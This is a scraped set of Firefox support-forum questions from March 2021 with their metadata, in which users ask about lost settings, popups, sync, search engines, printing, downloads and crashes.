<p>I put "bookmarks" for the subject but that's just because none of the other options adequately describes my situation! I just got a new MacBook Air. I hate Safari, so I always use Firefox instead as my main browser on Mac. Have been doing it for years. This time, I set up Firefox the way I wanted it, with a specific home page, logged into all my sites, emails, Facebook, youtube, etc etc, and set them all on my Toolmarks bar. ... Then a couple of days later, had to re-sign in to my computer due to downloading software, and lost everything I had done on Firefox! Had to re-sign into all my accounts again as well. Set everything up on Firefox again ... couple of days later, had to re-sign into my computer to due to downloading software ... lost everything I had set up on Firefox, had to re-sign into all my accounts. I would be so appreciative if anybody could tell me why this is happening and what I can do to fix it! I really love Firefox and don't want to give it up! Talked to Apple about it and they say it's not their issue. ... Thanks so much!! </p>


created: 2021-03-07T09:17:04-08:00
updated: 2021-03-07T09:17:04-08:00
title: Stop Firefox from suggesting root URLs of bookmarks
tags: mac-os;desktop;bookmarks;firefox-780;
product: firefox
topic: bookmarks
locale: en-US
creator: zacharyjthompson
content:
<p>Is there a way to stop Firefox from suggesting/autocompleting the root URL of pages I've bookmarked?  For example, say I've bookmarked <a href="https://www.mysite.com/pageone" rel="nofollow">https://www.mysite.com/pageone</a> and named it "My Site - Page 1".  If I start typing "my" in the URL bar, the very first suggestion is <a href="https://www.mysite.com" rel="nofollow">https://www.mysite.com</a>, instead of my bookmark. </p><p>NOTE:  I have disabled ALL other suggestions other than bookmarks, including common/popular sites (i.e. typing "goo" will not autocomplete with google, because I have not bookmarked any google sites) </p><p>I didn't bookmark the root URL, so I don't want it to be suggested.  Any way to disable this behavior? </p><p>Thanks! </p>


created: 2021-03-07T09:14:24-08:00
updated: 2021-03-07T09:14:24-08:00
title: Can't install Avast Antivirus
tags: windows-7;desktop;download-and-install_1;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
creator: percep-tionspecialist
content:
<p>Hello, all - I received the attached message when trying to install Avast Antivirus. I'm wondering if Firefox might have beeen corrupted in some way, especially because I've downloaded Avast before with no problem. I followed the suggestion and installed it via the Opera browser, but Firefox is my default and I'm concerned. Has anyone had this experience and/or know what to do about it? Thanks much in advance, as always! </p>


created: 2021-03-07T09:13:20-08:00
updated: 2021-03-07T15:16:42-08:00
title: Desactivar los atajos de teclado
tags: desktop;customize;
product: firefox
topic: customize
locale: es
answers: 1397076;
creator: juan13koko
content:
<p>Buenos días/tardes tengo un pequeño problema con los atajos de teclado de Firefox porque no encuentro manera de desactivarlos o cambiarlos. Llevo ya varias horas buscando sin parar y no soy capaz de dar con nada, si alguien puede ser tan amable de decirme como desactivarlos todos se lo agradecería de corazón. Muchas gracias y un saludo. </p>


created: 2021-03-07T08:55:31-08:00
updated: 2021-03-07T09:27:21-08:00
title: Annoying popups
tags: mac-os;desktop;customize;firefox-780;
product: firefox
topic: customize
locale: en-US
answers: 1396972;
creator: jpg.lefilm
content:
<p>Hi, Since this morning, for some unknown reason, when I place my cursor over a text section in my browser, one or two seconds later a rectangle appears below with the same text inside (it does so with ALMOST all text, regardless of the fact that it is or isn't clickable, apparently, but it does not work with some text here and there – for instance on this very page). It does not correspond to anything I've (voluntarily) asked for, I haven't found anything in the FF settings that relates to this, and I do not think it has anything to do with the plugins I use, though it does correspond to my installing this add-on this morning: <a href="https://addons.mozilla.org/en-US/firefox/addon/new-tab-suspender/" rel="nofollow">https://addons.mozilla.org/en-US/firefox/addon/new-tab-suspender/</a>. Which I've temporarily deactivated... but the popup rectangles keep appearing. Does anyone know why these popups have started appearing all of a sudden, and can anyone help me figure out how to get rid of them? Thanks in advance. Best, jpg </p>


created: 2021-03-07T07:36:27-08:00
updated: 2021-03-07T17:35:43-08:00
title: How to Stop black Boxes w/Text appearing when mouse hovers over text (any site)?
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396974;1397036;1397061;1397071;1397101;
creator: atheres1998
content:
<p>I have no idea how it started or why, but in the past couple days anytime I leave my cursor over a paragraph or chunk of text on a website, a black box appears where my cursor is with the text in it in white. If there is a lot of text, there's a sidebar to scroll down in the box. This disappears as soon as I move my cursor, but reappears as soon as I set it near some more text. I assume this is some kind of accessibility or reading feature, but I have no idea how I turned it or how to get rid of it. I've looked online and in my setting and had no luck getting rid of it. Any help would be appreciated! </p>


created: 2021-03-07T07:24:20-08:00
updated: 2021-03-07T14:02:22-08:00
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396975;1397032;1397040;1397041;1397047;1397052;
creator: pine354
title:
Why does Firefox run in the back round (using over 50% of CPU resources) every time I boot my system?

content:
<p>Why does Firefox run in the back round (using over 50% of CPU resources) every time I boot my system? </p>


created: 2021-03-07T07:18:45-08:00
updated: 2021-03-07T11:41:43-08:00
title: AD BLOCKER INTERFERENCE DETECTED
tags: windows-7;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396976;1397018;
creator: gamayun_vulgare
content:
<p>I'm trying to view <a href="http://Livescience.com" rel="nofollow">Livescience.com</a> and this is all I get:  "AD BLOCKER INTERFERENCE DETECTED, please disable or whitelist" how do I  fix this? There's nothing in my add-ons or extensions to change this. Thanks! </p>


created: 2021-03-07T06:20:10-08:00
updated: 2021-03-07T14:51:46-08:00
title: Delete Data Held On Firefox Sync Server
tags: desktop;sync;windows-10;firefox-780;
product: firefox
topic: sync
locale: en-US
answers: 1396978;1397015;1397068;
creator: Steven66
content:
<p>I have some problematic settings that are continually syncing back to devices when signing in - I would like to understand how to wipe all my data from the sync servers to essentially start fresh and push new data to the server from one device to then sync this to my other devices using Firefox. </p><p>Is it possible to remove ALL data synced from Firefox to the sync server? </p>


created: 2021-03-07T05:21:58-08:00
updated: 2021-03-07T05:21:58-08:00
title: Pinterest functionality blocked/not working?
tags: mac-os;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: angus_young78
content:
<p>Hi all. Suddenly noticed Pinterest's search, notifications, messages and account links aren't working in Firefox (86.0 64-bit on Mac Big Sur 11.2.2). Can find older reported issues that are the same but nothing recent, could this be a Facebook Container issue? Any help appreciated,  Many thanks Nick </p>


created: 2021-03-07T04:50:39-08:00
updated: 2021-03-07T04:50:39-08:00
title: Google Apps
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: williamghenry
content:
<p>Hi, </p><p>Has Google now stopped using the Google Apps Launcher on Firefox? I used to rely on Google Apps Launcher for Firefox for Gmail, You Tube etc. The icon is still on my Toolbar but when I open it it is blank Can anyone help please Thank you William Henry </p>


created: 2021-03-07T03:57:49-08:00
updated: 2021-03-07T05:39:24-08:00
title: firefox browser on raspberry Pi
tags: desktop;download-and-install_1;
product: firefox
topic: download-and-install
locale: en-US
answers: 1396929;
creator: leo.wijngaard
content:
<p>hello, i am trying to install firefox on my raspberry Pi but i have no clue what version is needed if possible at all </p>


created: 2021-03-07T03:21:49-08:00
updated: 2021-03-07T03:21:49-08:00
title: Suggestion for Firefox Multi-Account Containers
tags: desktop;tips;windows-10;firefox-860;
product: firefox
topic: tips
locale: en-US
creator: MyDavid
content:
<p>Hi all! </p><p>So, in my personal opinion, the Firefox Multi-Account Containers extension is of course much better than sliced bread, and in fact, among the very best concepts ever implemented by sw developers. So good, that it's the reason why still use Firefox. I would never use Chrome, and I know for sure that all those who use it have zero idea just how much, and in what malicious ways, Google has built in settings that theoretically allow to keep your browsing r-e-l-a-t-i-v-e-l-y private (just so that Google can always claim "users CAN keep their browsing details = personal details private"). But the default in Chrome is always sniffin'. And more sniffin'. And more sniffin'. Think: That's Google's ENTIRE business purpose. And particularly for all products they make "free". Just think of gmail. LOL </p><p>So, now everyone believes my enthusiasm for Firefox and its extension Firefox Multi-Account Containers, right? </p><p>That allows me to post a suggestion for further improvement. And I DDG'ed much, where to give extension feedback, but sadly every feedback avenue is closed. You know. So, better here than nowhere: </p><p>IMPROVEMENT SUGGESTION FOR Firefox Multi-Account Containers </p> <h6 id="w_">======================================</h6> <p>Current behavior: It auto-recognizes in which container to open a URL by looking at the domain part, only. </p><p>Current behavior also: It "forgets" the container entirely, when you reopen firefox with prior tabs, and you had consciously opened a particular page in a different container than the associated one. </p><p><br> Desired modification: A checkmark to toggle per container, if we really want container recognition by domain part only, or by a little more than that. See explanation below. </p><p>Desired behavior also: Firefox should reopen the browser with prior tabs LIKE THEY WERE, ie if a tab purposefully was in a different container before closing firefox, then obviously upon reopening firefox after bootup it should still be in that different container, and not be now totally UNassociated, aka in no container, like it currently is. - This point I find obvious, it requires no explanation. </p><p>The first modification would allow instances like these: - I have multiple, legit, email accounts, and open them in Roundcube, part of Cpanel of my webhosts. - Work email addresses open in "Work" container, Private email addresses in "Private" container, and so forth. - ALL Roundcube tabs (or whatever you might use) login at <a href="https://domain.com:2096/" rel="nofollow">https://domain.com:2096/</a> but obviously with different usernames and pw's. - But currently Firefox cannot differentiate that, because it only looks at the domain part, <a href="http://domain.com" rel="nofollow">domain.com</a> </p><p>How about a checkmark allowing users to select one way or the other for a container? - unchecked: like now - checked: Firefox will differentiate the entire domain up to the first / aka, it will be able to differentiate subdomains, :2096 's (ports?), and similar stuff, because that's all BEFORE the first / </p><p>Could this suggestion please be made viral :) such that the extension developer(s) become aware of it? </p> <dl><dd>) </dd></dl>


created: 2021-03-07T03:13:15-08:00
updated: 2021-03-07T03:13:15-08:00
title: Tab Restoring 2 seesions or more
tags: desktop;tabs;windows-10;firefox-860;
product: firefox
topic: tabs
locale: en-US
creator: uliburkat
content:
<p>I just lost like 600 Tabs, the restoring upon starting firefox and closing it byan accident before reloading last session now the last session is a lost tab .... how can I acces the date from the Real last session?? It ist really importat for me to be able to restore it . Can I find it somwere in temporary files or something? </p>


created: 2021-03-07T01:13:15-08:00
updated: 2021-03-07T01:13:15-08:00
title: Fehler write EPIPE
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: ggrau
content:
<p>hello, with some downlowds in youtube with downloadhelper appears: error write EPIPE but i can't find anything in the help center. Can someone please explain how I can fix or work around this? in wikipedia I only see: <a href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwisr9Si653vAhVEDOwKHSbw%MQFjAAegQIBxFps&amp;2Facktflow%" rel="nofollow">https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwisr9Si653vAhVEDOwKHSbw%MQFjAAegQIBxFps&amp;2Facktflow%</a> 2F34882328% 2Ferror-write-epipe &amp; usg = AOvVaw3ghjxR-booL_t03Wb-Sdnq. </p><p>Thank you! </p>


created: 2021-03-07T00:47:46-08:00
updated: 2021-03-07T07:05:11-08:00
title: change default search engine
tags: mac-os;desktop;privacy-and-security_1;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396914;1396950;
creator: marcynewman
content:
<p>I want to change my default search engine, but for some reason the drop-down menu on the preferences pane doesn't recognize Duck Duck Go or any other option other than Google. I just rebooted my computer and still it doesn't work. Please advise. </p>


created: 2021-03-07T00:06:48-08:00
updated: 2021-03-07T12:38:22-08:00
content: <p>I got stuck with this. Please help. I will be grateful to you for this. </p>
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396916;1396997;1397033;
creator: aarishmaqsood
title:
Firefox doesn’t know how to open this address, because one of the following protocols (x-webdoc) isn’t associated with any program or is not allowed in this context.


created: 2021-03-06T23:46:15-08:00
updated: 2021-03-07T03:50:05-08:00
title: A web page is slowing down your browser
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396904;
creator: Fazalx
content:
<p>On Firefox, I am getting this yellow bar stating, "A web page is slowing down your browser."  I am getting this frequently everyday.  After I click on "Stop it", it disappears, but Firefox remains frozen and I have to close it, most of the time through the task manager.  I have refreshed Firefox, but the message still keeps on appearing, most of the time when I am on AOL.  This problem is making Firefox useless for me.  I have also read similar experiences from many other Firefox users.  Why can Firefox not fix it?  It is not even listed in the Firefox problems and solutions. </p>


created: 2021-03-06T23:00:32-08:00
updated: 2021-03-06T23:00:32-08:00
title: How to set pdf default zoom to page width.
tags: mac-os;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: facejiachen
content:
<p>When I read pdf files, I always change 'automatic zoom' to 'page width'. </p><p>However, whenever I press a link on the contents bar/sidebar on the left side, the pdf size always go to 'page fit'. How do I stop this from happening? </p>


created: 2021-03-06T21:56:32-08:00
updated: 2021-03-06T21:56:32-08:00
title: Pluto.tv stops playing
tags: mac-os;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: mace2
content:
<p>The website <a href="https://pluto.tv" rel="nofollow">https://pluto.tv</a> does not play more than an 1hour when using FF 86 on a Mac OS, sha256:ac678174a4d7b3db70da94bdec7d54b3fa96db3e756d584c5a7d1cf09ca65a12. </p><p>The symptom is it will play the video then the screen goes blank after about 1 hour and there is a cursor moving from left to right continuously at the top. I have cleared cookies through preferences and through web developer with no effect. I believe the cookies remain in effect because only when I close the FF browser and reopen does it recover. I have "delete cookies and site data when Firefox is closed" </p><p>When I use another browser there is no problems. Is this a cookie problem why does play back recover when FF is closed and reopened? </p>


created: 2021-03-06T20:09:15-08:00
updated: 2021-03-06T20:09:15-08:00
title: Startup Behaviour
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: Krakkenuhero
content:
<p>When you open other web browser, it starts with the cursor on the search bar ready to type and search. I wanted to know how I could change it so Firefox does the same. </p>


created: 2021-03-06T19:45:42-08:00
updated: 2021-03-07T17:45:54-08:00
title: Install Widevine manually
tags: desktop;other;needsinfo;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396846;1396849;1397051;1397055;1397105;1397118;
creator: steakandcheesecakes
content:
<p>Hi, I've been trying to get Widevine to install on Firefox for a few weeks (,month+ maybe?) but after all this time I'm left with the message <strong>Widevine Content Decryption Module provided by Google Inc. will be installed shortly.</strong>  I've already tried reinstalling stuff, safe mode, enabling and disabling DRM and all the other stuff to help so at this point I'd just want to do it myself. Can't find any Widevine download or really any way on how to install it manually though, which is where I need assistance on, again I've already resigned to the fact that Widevine autoinstalling through firefox is broken and I'd rather try and do it myself manually. Thank you. </p>


created: 2021-03-06T19:23:28-08:00
updated: 2021-03-06T20:57:46-08:00
title: Firefox does not open
tags: desktop;download-and-install_1;windows-10;
product: firefox
topic: download-and-install
locale: en-US
answers: 1396832;
creator: christinegernant
content:
<p>'<em>  <strong>bold text'</strong></em> Good Evening,  </p><pre> I had an update to install on my laptop for Windows 10 and now Firefox does not open. I have tried everything, uninstalling, reinstalling, standing on my head and nothing works. Can you please assist? </pre> <p>Thank you,  Christine Gernant </p>


created: 2021-03-06T18:40:59-08:00
updated: 2021-03-06T19:00:29-08:00
title: firefox update
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396800;
creator: rishu.nupoor
content:
<p>Hi, If I updated the firefox and if it says : Restart to update firefox - does it mean to restart system or the browser? what will be restarted? </p>


created: 2021-03-06T18:38:21-08:00
updated: 2021-03-08T17:10:04-08:00
title: strange error
tags: windows-7;desktop;tabs;firefox-860;
product: firefox
topic: tabs
locale: en-US
answers: 1396833;1397006;1397062;1397356;
creator: DragonsREpic
content:
<p>I have been getting this error lately. Later I noticed it only seems to happend when Firefox is running. literly can't find anything online what so ever. So this is baffeling. I don't believe I have done anything to make it happen. I have had like 1,350 tabs before Firefox had an update (and it fked it up) so it might of been some update. Firefox hasn't been nearly that good sense. Im prob at 150-200 tabs right now and I have never seen this message. Also firefox LOVES ram. I have 16GB and over time it EATS it. like 12gb and when i hit 99% the computer slows down of course and I have to restart. All bc of firefox... see pic </p>


created: 2021-03-06T17:20:48-08:00
updated: 2021-03-09T09:37:40-08:00
title: What's it black screen ?
tags: windows-7;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397441;1397473;
creator: alrobaey51
content:
<p>Hello  I installed Kaspersky in my PC but I no longer uninstalled  I see anytime I open the browser Firefox likely a black screen covering the page but it vanishes as just as the browser full-opened, so what's this by God ?  It is the first time I have seen Before I installed the Kaspersky antivirus it didn't appear.  I thought it is a matter of protection  But after uninstalling Kaspersky ( antivirus ) the black screen is still seen  ?? </p>


created: 2021-03-06T16:42:11-08:00
updated: 2021-03-06T16:42:11-08:00
title: Firefox Keeps Minimizing When Opened -> I Click then it immediately minimizes. (WITH VIDEO)
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
creator: markdecetc
content:
<p>So, for some reason today, Firefox keeps minimizing whenever I click on it. I click on the Firefox logo in my doc, I see the browser for a second, then POOF a second later it minimizes. It's odd because the app seems to be working fine. In the split second that the browser was on my screen, I'm able to type a single letter, and all button functionality works. I even got it to go into safe mode, but the problem still persisted.  </p><p>This is only Firefox-specific. Not having problems with Chrome or Safari, but Firefox is my browser of choice, so it's kind of annoying.  </p><p>But for more details and troubleshooting, </p><p>- I'm running on a 13inch Macbook x86 on BigSur, so not the newer M1 Mac. - I've turned off and restarted my Mac Book. - I've uninstalled and reinstalled Firefox  - I've used AppCleaner to get rid of all leftover files and then reinstalled - I've forced quit the app many times - I've tried the private browser and still nothing - My Mac is up to date and charged - I've run Malwarebytes to look for viruses - Firefox works on my IPad, so it's not an account issue </p><p><br> None of these attempted solutions worked. </p><p>Also, I can't reset Firefox or provide any troubleshooting information because the browser closes too fast before I can do anything. </p><p>Here's a video showing the problem: <a href="https://youtu.be/y3k-Q-eRyE4" rel="nofollow">https://youtu.be/y3k-Q-eRyE4</a> </p>


created: 2021-03-06T16:35:54-08:00
updated: 2021-03-06T16:35:54-08:00
title: Using Extension after Installation
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
creator: Niky20Boo01
content:
<p>I downloaded Myki Password Extension. I have the program installed on my computer, but I can't figure out how to get the extension 1) To the main toolbar, and 2) to record my usernames and passwords and 3) Autofill as a result. </p>


created: 2021-03-08T15:36:42-08:00
updated: 2021-03-08T16:23:36-08:00
title: Unable to download files in firefox
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397351;1397352;
creator: cumminlj
content:
<p>all of a sudden i am no longer able to download files in Firefox, regardless of webpage. tried all the steps on the troubleshooting page here: <a href="https://support.mozilla.org/en-US/kb/cant-download-or-save-files" rel="nofollow">https://support.mozilla.org/en-US/kb/cant-download-or-save-files</a> didnt accomplish anything same situation. downloads work fine in edge, chrome, opera and ie. no warning messages or errors show up on attempt. checked the folder its supposed to use for downloads and no files are created. </p>


created: 2021-03-08T14:41:36-08:00
updated: 2021-03-08T14:41:36-08:00
title: nightly updates lead to change in default search website
tags: mac-os;desktop;customize;firefox-780;
product: firefox
topic: customize
locale: en-US
creator: skpm9697
content:
<p>Why do nightly updates lead to a change in my default Search Engine?  After every update, all my searches (address bar and search bar) are done via the default search engine (Yahoo). I do not want this. For the 5th time I have changed it to my preferred site.  The OneClick search preference is not changed - and here the Default Search Enginge is not even selected as an option. </p><p>Any help would be appreciated. </p><p>Thanks </p>


created: 2021-03-08T14:30:48-08:00
updated: 2021-03-12T20:11:12-08:00
title: Error Sync
tags: desktop;sync;needsinfo;windows-10;firefox-860;
product: firefox
topic: sync
locale: es
answers: 1398387;
creator: adrianroldosdelarco
content:
<p>¿¿He cambiado de PC, y cuando intento sincronizar mi Firefox no me cargaba nada, como pedo darle solución??, muchas gracias </p>


created: 2021-03-08T13:52:28-08:00
updated: 2021-03-14T13:47:39-07:00
title: import logins
tags: desktop;sync;windows-10;firefox-860;
product: firefox
topic: sync
locale: en-US
answers: 1397312;1398710;
creator: roger.drew8
content:
<p>I exported logins (to .csv) before re-installing win 10 but now there does'nt seem to be any way of importing them back into Firefox.  I must be missing something obvious? </p>


created: 2021-03-08T13:34:24-08:00
updated: 2021-03-08T14:05:48-08:00
title: HP970cxi started printing double or more width characters in Firefox, how can I fix it?
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397302;
creator: mike_dem
content:
<p>Hi, I've an old printer, a HP 970Cxi which I think is similar to a HP 970cse. I've used firefox for a long time with this printer with no problem, but recently it started printing double width or more characters rendering the printouts useless. If a document is in PDF form, I have to save it and then print it out from a separate PDF viewer. If printing a web page or a receipt, I have to use another browser or try and copy the page to MSWord for printing. I'm guessing this might be a problem caused by an update, but if not, what setting is causing this? The paper is set to A4 and all settings I can see look fine. Thanks </p>


created: 2021-03-08T13:14:37-08:00
updated: 2021-03-08T14:35:48-08:00
title: Firefox crash loop (Ubuntu)
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397308;1397313;
creator: nikolas.markantonis
content:
<p>Hello, </p><p>It's been a couple of weeks that I cannot use Firefox on my Ubuntu system. When I try to open it, it displays the crash report directly. I have tried private mode, safe mode, uninstall/reinstall, tried to launch the profile manager same results.. crash report.. </p><p>I am attaching a screenshot from the terminal when I try to launch profile manager. </p><p>Any suggestions are more than welcome. </p><p>Thanks </p>


created: 2021-03-08T13:10:27-08:00
updated: 2021-03-08T14:50:50-08:00
title: Firefox on ubuntu does not render any pages at all
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397318;
creator: junk14
content:
<p>My Firefox (version 56) on Ubuntu 18.04 suddenly stopped working. The program starts, I can access menus etc and type an address, but nothing renders at all.  I have no issues with other browsers (Chrome, Chromium, Konqueror) or other internet applications. The firefox issue is also present for other user accounts. The issue is both with internet sites and sites on my local network, such as my router. </p><p>I have tried: </p> <ul><li> Booting in an older Linux kernel </li><li> using IP numbers (that work in other browsers) instead of DNS names </li><li> Firefox safe mode / refresh </li><li> Deleting profile completely </li><li> Completely purge Firefox (and mozilla profile directories) and reinstall (versions 56, 67, 86) both from canonical and from <a href="http://mozilla.org" rel="nofollow">mozilla.org</a> </li><li> Updating Nvidia graphics driver from v415 to v460 </li><li> I was able to access the config and preferences pages by specifying it from the command line (firefox about:config or firefox about:preferences) so I could try: </li><li> Checking proxy settings (no proxy) </li><li> disabling IPv6 </li></ul> <p>To no avail. All versions of Firefox remains just white. I'm out of ideas -  any suggestions? :-)   </p><p>The only thing that did work was this "portable" firefox: <a href="https://www.orbital-apps.com/blog/2017/firefox-quantum-now-available-as-a-portable-app-for-linux" rel="nofollow">https://www.orbital-apps.com/blog/2017/firefox-quantum-now-available-as-a-portable-app-for-linux</a> </p><p><br> Cheers, Esben </p>


created: 2021-03-08T13:05:18-08:00
updated: 2021-03-08T18:37:49-08:00
title: add file type do this from now on
tags: desktop;other;windows-81;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397377;
creator: buben8r
content:
<p>I would like to add RAR and WMV to the list of file types that automatically Save File when I start a download. The "Do this from now on" option has never appeared in the start download dialog box. </p>


created: 2021-03-08T12:16:07-08:00
updated: 2021-03-08T12:16:07-08:00
title: Error connecting to server.
tags: windows-7;desktop;websites;firefox-850;
product: firefox
topic: websites
locale: en-US
creator: ronnb6
content:
<p>i cant log in to <a href="https://www.tdcardservices.com/?product=TDBANK" rel="nofollow">https://www.tdcardservices.com/?product=TDBANK</a> even explorer did not work, i went to google chrome and was able to log in, i have had the same problem at Ambetter insurance web site. how do i fix this problem ?? wth my old firefox never had this problem..  i have firefox 85 and windows 7.  thanks i hope someone knows what wrong. </p>


created: 2021-03-08T12:05:41-08:00
updated: 2021-03-10T11:36:55-08:00
title: Blocked and deleted .zip file returns every time I start firefox
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397267;1397274;1397770;
creator: yann.gelbing
content:
<p>Hello Support, </p><p>some day ago I tried to download a .zip file which was instantly blocked by firefox and my antivirus program. So this was obviously some bad shit. I didn´t even try to open it or whatever and I directy deleted the file completely and cleared my firefox browser history and cookies, website data and cache. My settings also clear everything when I close firefox. </p><p>So the problem is, that every time I open firefox, still the note pops up that the download of this file, which "contains a virus or malware" was blocked (see screenshot). And every time I click "clear browser history". But the next time same again. The file is also not in the download folder or somewhere else so idk... </p><p>How can I stop this and be sure that this file (which somehow does not exist on my computer) doesn´t try to do any strange stuff? </p><p>I've run the complete scan of my antivirus (bitdefender pay version) a couple of times, no results. </p><p>Can anyone help me plz? </p><p>Thanks, Yann </p>


created: 2021-03-08T11:55:10-08:00
updated: 2021-03-08T11:55:10-08:00
title: slow YouTube loading after update
tags: desktop;fix-problems;windows-81;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: freescoring
content:
<p>Have recently updated to version 86.0, Youtube takes a long while to load the next video when I click on it (I did not set autoplay). Never had this problem previously. Have uBlock Origin installed if it matters. </p>


created: 2021-03-08T11:52:28-08:00
updated: 2021-03-08T12:01:41-08:00
title: is there a forum specifically related to the add-ons only
tags: desktop;beta;customize;windows-10;firefox-870;
product: firefox
topic: customize
locale: en-US
answers: 1397261;
creator: gillybig
content:
<p>At times I would like to search for an add-on that I can not "Phrase" the description of as such: </p><p>'I am looking for an addon that will download every page I visit for a predetermined time automatically and make those downloaded pages accessible to the open tabs from which those downloads came from so that I can have the cache on hard drive" </p><p>I don't know how to call this thing by a search term and need help with this one question really. </p><p>I would have other question also such as how to build an add-on. </p><p>Is there a forum specifically related to these add-ons only This forum should be specific to the types of add-on we see in Firefox and Google Chrome for developers and enthisiasts. </p><p>I see no link to such a forum in the addons page though there is the link to Manage add-ons; or, is this the best place for such questions? </p><p>Thanks in advance! </p>


created: 2021-03-08T11:39:09-08:00
updated: 2021-03-08T12:49:04-08:00
title: reload/resend information warning
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397264;1397273;
creator: rod26
content:
<p>How do I stop the "To display this page, Firefox must send information that will repeat any action (such as a search or order confirmation) that was performed earlier."  from showing. Other users in my office do not see this on their machines when they run my application. Yes, they are using Firefox. </p>


created: 2021-03-08T11:25:43-08:00
updated: 2021-03-08T12:29:32-08:00
title: about this search feature, the more words I add the more results are returned
tags: desktop;beta;other;windows-10;firefox-870;
product: firefox
topic: other
locale: en-US
answers: 1397268;
creator: gillybig
content:
<p>About using these firefox support pages and this search feature specifically. </p><p><br> the more words I add the more results are returned there seems to be no intellegence in selecting the appropriate answer, it all appears keyword driven.  </p><p>This is not beneficial in reaching the correct answer. At times I will go to 'Ask your question' because of this and I can guess many of us do. No one wants to read un-related articles! </p><p>I would expect to see the results lessen by adding more keywords to a refinement which I can then see in real time. </p>


created: 2021-03-08T11:20:10-08:00
updated: 2021-03-11T12:57:25-08:00
title: How to disable Command+D to "Bookmark This Page" in Mac?
tags: mac-os;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397269;1397354;1397359;1397362;1397373;1397435;1397521;1398067;1398076;
creator: JohnDohe
content:
<p>I'm running Mojave 10.14.6 on a MacMini (late 2018)  with 64 GB 2667 MHz DDR4 and Firefox v86.0 64-bit. </p><p>I need to disable <strong>Command+D</strong> that's currently   used to "<strong>Bookmark This Page</strong>". </p><p>I need <strong>Command+D</strong> for another use. </p><p>I've searched <strong>about:config</strong> for "<em>bookmark</em>" and get  a lot of hits, but I can't tell which one controls the  setting for <strong>Command+D.</strong> </p><p>Or . . . am I barking up the wrong tree? </p><p><strong>I want to disable Command+D</strong>. </p><p>Leaving the ability to mouse up and click  <strong>Bookmarks &gt; "Bookmark This Page" </strong> is ok. </p><p>I just need to disable the keyboard shortcut  <strong>Command+D</strong> for "<strong>Bookmark This Page</strong>". </p><p>Anyone got a "howto" for this? </p><p>Thanks! </p>


created: 2021-03-08T10:49:50-08:00
updated: 2021-03-08T18:44:44-08:00
title: in my banks app I cannot highlight, cut or paste anymore. running FF 86.0
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397378;
creator: dmwade1545
content:
<p>While signed into my banks web sight I cannot highlight, cut or paste anymore. running FF 86.0 If I switch to other browsers it works. Seen this problem on other pages also </p>


created: 2021-03-08T10:45:26-08:00
updated: 2021-03-08T14:17:27-08:00
title: Ebay return label will only print packing slip
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397307;
creator: monkdooley
content:
<p>Printing a return label on ebay, only page 2 packing slip will print.  Page 1, the actual label, will not print or show up in the preview.  Nothing happens when trying to save to pdf or save to novapdf, no file saved.  Had to use Edge to print the full label.  Tried on 2 different computers, same result. </p>


created: 2021-03-08T10:29:26-08:00
updated: 2021-03-09T16:46:15-08:00
title: SSL not working when redirecting from non-www to www
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1397316;1397423;1397516;1397517;1397527;
creator: chris.cecil
content:
